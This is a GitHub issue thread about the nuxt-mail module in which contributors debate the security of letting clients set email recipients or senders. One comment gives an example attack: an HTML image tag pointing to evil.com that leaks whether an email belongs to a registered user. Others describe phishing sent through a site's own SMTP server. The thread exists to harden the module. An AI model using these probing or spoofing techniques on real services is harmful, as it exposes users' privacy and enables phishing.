-
-
Notifications
You must be signed in to change notification settings - Fork 19
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
How to send a confirmation email to a dynamic email? #68
Comments
@urbgimtam That's actually a good question and I think there should be a FAQ section about it. I think you shouldn't send confirmation emails to non-verified email addresses at all, because otherwise you could send spam emails to any email address by typing @mathe42 What's your opinion on this? |
For that use case just build your own small API that gets email (and name ...) and generates the email from that. A in the case of a confirmation mail you need a API for verification. What you don't want is that a attacker can send emails with custom conent to random people so you have to make at least one of that static. |
I agree with all your concerns over security. However, maybe a better approach would be to allow the config to lock either the "sender" or the "receiver", as per the developer requirements.
Usually, I've mitigated it in the past with things like Google Recaptcha (v3 is great and doesn't show that cumbersome image selector thing), or with a hidden blank field, that mail bots try to fill in automatically. (also, nowdays many mail servers use DKIM, output validation and even header correction) IMO it should be the coders' responsability to use email addresses validation (whatever that validation may be: a registered user, a double-optin system, recaptha, etc.) Creating an API for this seems like overkill, and kind of defeats the purpose of this module. I've used nodemailer directly with Nuxt in the past, and nuxt-mail looks like a great abstraction for clearer development, but if its too constrained, IMO it narrows its usage flexibility. |
So you want the browser to request that a email is send with dynamic content to a dynamic email. That can be used for SPAM sending. So someone can send emails in your name - very bad. If you set STATIC content for the body of the email OK im fine with that. But static doesn't work in 98% of use cases. |
This module creates a API as the browser can not talk to a SMTP server. - And this API can be called with custom arguments so even if you client code is save - it dosn't matter. |
Of course the dynamic email needs to be validated by a third-party: either login/registered user, or email being triggered after successfull recaptcha validation. So my point is that the validation responsability belongs to the developer, instead of nuxt-mail blocking that possibility interely. The white elefant in the room is that spam prevention (from the sender perspective) is hard to fix and requires multiple points of mitigation. For example: the email server itself should be correctly configured for stuff like "output rate limiting", DKIM, DMARC and SPF outgoing spam protection, etc. |
I think @urbgimtam is right that the mail server should be responsible for the address validation. I see the use case to use // nuxt.config.js
const users = [{ email: 'foo@bar.de' }]
export default {
modules: [
['nuxt-mail', {
message: {
to(email) {
// @nuxtjs/auth, via session or something similar
return this.$auth.user.email === email
},
},
}],
],
} // index.vue
export default {
methods: {
submit() {
this.$mail.send({
from: 'John Doe',
to: 'foo@bar.de',
subject: 'Message',
text: 'Foo bar',
},
},
} So it would be a non-breaking, more flexible way than the email field comparison. Opinions or any issues I haven't thought of? |
As a attacker I want to know if with the email me@example.com is a user. I can do the following: Create a Mail with something like (just minimal example): this.$mail.send({
from: 'John Doe',
to: 'me@example.com',
subject: 'Message',
text: '<img src="evil.com/img.png?user=me@example.com">', // maybe different key but you get the idea...
}, If I get a request to evil.com I know the user has an account. So this might fix the SPAM problem for not very big pages. But we have a privacy issue. This is not GDPR conform. I think there should be no way of a non trusted source (attacker) to send emails with custom (attacker controled) content to a customer or user of your webapp / webpage. Because of that I don't even use nuxt-mail just saw it a few month ago and saw that it has security problems. This module in my opinion is only good for a contact form! [EDIT] Just to repeat my complain is
|
Understand and agree. Just to be understand a bit better, what would you use for such a scenario like I've described? Because, in the end, any solution will suffer of the same vectors of attack. |
Generate the E-Mail content on the server in for exampe a server middleware of nuxt. In the online Form get all data. Send both to the api / server middleware and generate there the email text / html and send this with (for example) nodemailer to the specified e-mail. |
That's what I've done in the past. But if nuxt-mailer is using nodemailer, isn't it doing it already? Can't the sanitization and email generation still happen in the component, before calling the this.$mail.send()? Again, the dev should handle that. |
Nope as the $mail.send creates a request to a url and there is no way to validate the data. |
Sry my example was incredibly bad, was focusing on the validation function. Of course there should be auth management and you should only be able to send to the logged in user's address, not any registered one. I've updated it accordingly. Is the issue you explained resolved with this? It should fail with an auth error. You would need to be registered with verified email first, otherwise |
If you want to be shure it should silently fail... But if there is some validation I'm fine with that. But you should point that out that if you do for exampe |
Ok, sorry for all the discussion I've generated. @mathe42 I agree that it can be damaging to a dev that is not aware of the responsibility. Please feel free to close the issue. |
@mathe42 Yes it has to be well-documented. I'd say it's fine if the default behavior is safe. In that case the developer would have to actively bypass the recommendations (there will probably be some who will do ...). @urbgimtam No, there is no need for excuses. I think there is a use case and I also think it is a great discussion, which is great for the module. My suggestion would be to leave the issue open for some time and see if people are interested in the feature and then see if we implement it. |
I have a use case where the application user (veterinarian, or his/her assistant) is logged in, and the application generates a report to be sent to the user's patient. So you could say the 'from' and 'to' have been pre-validated and there's no need for further validation. That is the reason why I'm stuck at version 1. However, the suggestion by @dword-design to add a validation function seems like a solution if we add a validation function for both 'from' and 'to'. It still remains the dev's responsibility - and not nuxt-mail's imho - to code a proper validation function or to assess whether () => true is safe to use. |
I just want to make sure that you all have in mind that you don't add XSS or SPAM problems into this module. I don't realy care about how you implement it or is it good idea to implement it - if you implement it in a secure way. |
Hey folks, ok I did some detailed thinking on this, also had a look at other solutions (EmailJS, SendGrid, MailGun). So, I think the main challenge here is to be able to call nuxt-mail from the client, and on the other hand to have a secure mail config that is passed to nodemailer. After some fiddling I came to the conclusion that the best would be not to validate the config but instead to create it on the server side. So the client only triggers the sending and (potentially) passes parameters, but the actual message is put together on server side (inside the REST API endpoint). The configs could have a Here is some code that would solve the two use cases discussed here, meaning dynamic sender on the one hand and dynamic recipient on the other hand. Note that @urbgimtam is right that the from address should not be set but instead replyTo should be set. Otherwise emails could be rejected by the SMTP server. So it should always be that emails are sent from some system email address and then you can reply to dynamic addresses (correct me if I'm wrong!). User sends contact form from a dynamic to a specific address export default {
modules: [
'@nuxtjs/axios',
['nuxt-mail', {
message: [
{ name: 'contact-form', create: () => ({ from: 'fixed@system.com', replyTo: 'foo@bar.com' }) },
],
}],
],
}
// Client-side
this.$mail.send({ name: 'contact-form', replyTo: this.email }) System sends confirmation email from a specific to a dynamic address const users = [
{ id: 1, patientEmail: 'foo@bar.com' },
]
export default {
modules: [
'@nuxtjs/axios',
['nuxt-mail', {
message: [
{ name: 'report', create: () => ({ from: 'fixed@system.com', to: users.find(user => user === this.$auth.user.id }).email },
],
}],
],
}
// Client-side
this.$mail.send({ config: 'report' }) This resembles a bit the template system from SendGrid and other email services, so looks like a flexible thing. In the long run it would maybe be better to turn the whole config definition into a map that maps config names to config objects or possibly functions, but for now it should be fine. |
Looks very interesting. |
Any updates on this issue? I want to add that in @dword-design last answer, the solution "from a specific to a dynamic address" would still only work if at the level of nuxt.config the address is known. Still not very "dynamic". There are usecases where people who can access the form are trusted and can be relied upon to enter the correct receiver and content. In my opinion, as stated previously, it should not be the responsibility of this module to validate the sent message and therefore restrict usage that might be used. |
@urbgimtam @mathe42 @jdemoort @Adashi12 Alright guys, sorry for the delay, it is a bigger issue, so it was quite some conceptual work. I think I have come up with a solution that might fit for most users. The idea is similar to the one I sketched out above. What you basically do when sending emails from the client is to define message configs and then calling those configs with parameters. It's similar to the template system in EmailJS. This way you can define your emails in a flexible way without risking security leaks. The definition as a plain object is still the safest way to do it because Here is an example of how message configs look like: // nuxt.config.js
export default {
modules: [
['nuxt-mail', {
configs: {
contact: {
from: 'admin@foo.de',
to: 'admin@foo.de',
},
issues: { /* ... */ },
custom: ({ replyTo, text }) => ({
from: 'admin@foo.de',
to: 'admin@foo.de',
replyTo,
text,
}),
},
smtp: { /* ... */ },
}],
],
} Then send the email like so: this.$mail.send('contact', {
replyTo: this.email,
text: this.text,
}) On the server side, you have full freedom now. I've implemented the proposal in this pull request. Before deploying it I'd like to get your opinion on it since it has some breaking changes and there are many use cases to cover. You can find the more detailed explanation in the updated readme in the PR. To test the PR, check out the branch locally and run Alright thanks for waiting, looking forward to your feedback! |
The only requirement is that you define to,cc,bcc in the server OR define content, replyto, attachments on the server (maybe with a template Syntax with dynamic parts of content). But as I never used this Module nor intend to use it (in my Project I create a full api not depending in nuxt what I Personaly think is the best way for bigger projects) I'm the wrong person to ask. |
@mathe42 Thanks for the reply! Why is it also valid to define content, replyto, attachments in the server instead of to,cc,bcc? Doesn't it also lead to spamming? |
OK. Yes your kinda right. Spamming is a bad thing but the only "bad thing" that can happen are:
My problem with this module allways was what I call a "authentic phishing attack". This means it is a phishing attack but the Mail comes from the correct SMTP server. This results in
So for spamming the solution is:
This results in so slow speeds that a "spamming-attack" is not likely as it is so slow. For phising attack the solultion is:
If you allow that content / html can be a functions that returns promise resolving a string a declare function escape(text: string, maxLength: number): string So on the client you can have the following functions (I put each type of call into it own function) [I additionaly only allow to and not cc,bcc type mail = {name?: string, mail: string}
declare function send_with_template(variant: string, to: mail, data: Record<string, any>): Promise<void>
declare function send_with_content(variant: string, replyTo: mail, content: string): Promise<void> export default {
modules: [
['nuxt-mail', {
configs: {
with_content: {
from: 'admin@foo.de',
to: 'admin@foo.de',
// replyTo will be set by client
// text will be set by client
},
with_template: {
from: 'admin@foo.de',
// to will be set by client
replyTo: 'admin@foo.de',,
text: async (data) => {
// potentialy access mysql or filesystem
return `<p>Your Data: <span>${escape(JSON.stringify(data))}</span></p>`
}
}
},
smtp: { /* ... */ },
}],
],
} I'm not shure with cc, bcc if they should be allowed or not. |
I don't get why you prevent defining the People will just use another module or build the endpoints manually without that restriction. |
You don't see the Problem: Lets assume bank.com uses this module (without the protection). Then you (as an attacker) can send a Mail from 'security@bank.com' to anybody and there is no clue that this was sent by an attacker! If you write a good E-Mail etc. you have a Phishing Attack where that is not detectable in the Mail even If you look for it. TL;Dr it is Not about Spam it is about Security!!! |
This just blew my mind. I can use this whole module only to send emails to specific hardcoded addresses? How is this useful at all? |
@makeitflow The main use case is currently to create feedback and contact forms. It's main use case currently is not to create complex transactional email workflows. I'm working on a reconcept that is based on templates, but since the Nuxt app context is not available in server middlewares (and Nuxt 3 server events), there is basically a line that the module cannot cross. I can imagine that this will change through Nitro in the future. |
How would this be done with nuxt-mail? Should I actually write a custom API handler then? Is there any way to disable the default /mail/send endpoint in that case? Because atm an attacker can just call the default endpoint that lacks message/body sanitization, right? |
I was looking for a nuxt module to add the capability to send emails from server to user mails and was wondering why this module is forcing the to parameter. |
If message.to needs to be configured beforehand, how can I send a confirmation email to someone based an email address inserted in a form field?
I'm may be wrong here, but wouldn't it make more sense to force the "from" field instead?
That way, the website/webapp can send emails to whoever needs to receive it, and always from a fixed email address.
The text was updated successfully, but these errors were encountered: